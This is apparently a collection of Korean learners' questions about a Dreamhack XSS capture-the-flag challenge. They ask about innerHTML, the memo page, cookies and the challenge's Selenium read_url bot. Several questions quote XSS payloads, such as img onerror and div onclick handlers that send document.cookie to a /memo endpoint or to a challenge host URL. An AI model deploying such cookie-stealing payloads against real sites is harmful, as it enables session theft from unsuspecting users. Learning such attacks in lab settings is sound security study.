innerhtml에서 script문이 실행이 안된다는건 이해했는데 해당 문제가 html5이며 innerhtml을 사용한다는 점은 어떻게 확인하시는 건가요? 뭘 보고 알 수 있는건가요?

그 flag page 에서 <img src="#" onerror="window.location.href='http://host3.dreamhack.games:16337/memo?memo='+document.cookie;"> 치고 wrong? 이 나왔는데 memo page 에서는 아무것도 안뜨는데 이게 맞나요

<img src="" onerror="this.src='/memo?memo='+document.cookie";> onerror 페이지에서 this.src를 이용해 경로에 접근했는데 플래그가 대량으로 발생합니다. 대체 이미지를 한번만 보여주는 것이 아닌가요?

flask를 알아야만 풀 수 있는 문제인 건가요?

f12 개발자 도구 모두에서 Application tab에서 쿠키를 볼 수 있는거 아닌가요? 이 문제에서는 보이지 않는 이유가 뭔가요?

<img src="" onerror="location.href = '/memo?memo=' + document.cookie"> <img src="" onerror="location.href = 'http://host3.dreamhack.games:16080/memo?memo=' + document.cookie"> 두 코드의 차이가 뭔가요?

http://host2.dreamhack.games:21402/vuln?param=<div onclick =location.href="/memo?memo="+document.cookie;>Here</div> 로 작성하면 memo페이지로 이동하고 여백이 출력됩니다. 뭐가 문제일까요??

제가 meta 태그로 내부 서버에서 접근은 했으나 데이터를 가져오는 방법에 막혔습니다. url에 쿠키값을 가져오는 방식이 메모 페이지에 접근하는 방법이 맞는지.. 아님 메타 태그 쓰는게 아닌지.. 궁금합니다

XSS-2에서는 XSS-1과 달리 <script> 명령어를 사용하니 동작하지 않았습니다. 그래서 저는 render_template의 영향으로 JS 명령어 전체가 동작하지 않는 줄 알았으나 document.cookie는 정상 작동했습니다. 저는 document.cookie가 JS의 명령어인 줄 알았는데, 혹시 제가 기존에 알고 있던 것에 오류가 있나요? 아니면 render_template가 JS 명령어 전체를 vuln.html에서 동작하지 못하도록 하는 것이 아닌가요?

def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome("/chromedriver", options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() return str(e) return False driver.quit() return True (1) def read _url() 함수가 자세하게 어떤일을 하는지 잘 모르겠습니다. (2) vuln 파라미터에 스크립트를 넣으면, 어떤이용자가 vuln을 눌러서 공격을 당하는 건가요? 그러면 이것을 reflected xss 공격이라고 하나요? (3) 이용자의 쿠키 알아내는데 flag는 어디에서 구해지는 건가요? 이용자의 쿠키가 flag 인가요? (4) vuln 파라미터에 스크립트 넣고 실행하면 왜 memo로 문자열이 전달되는 건가요?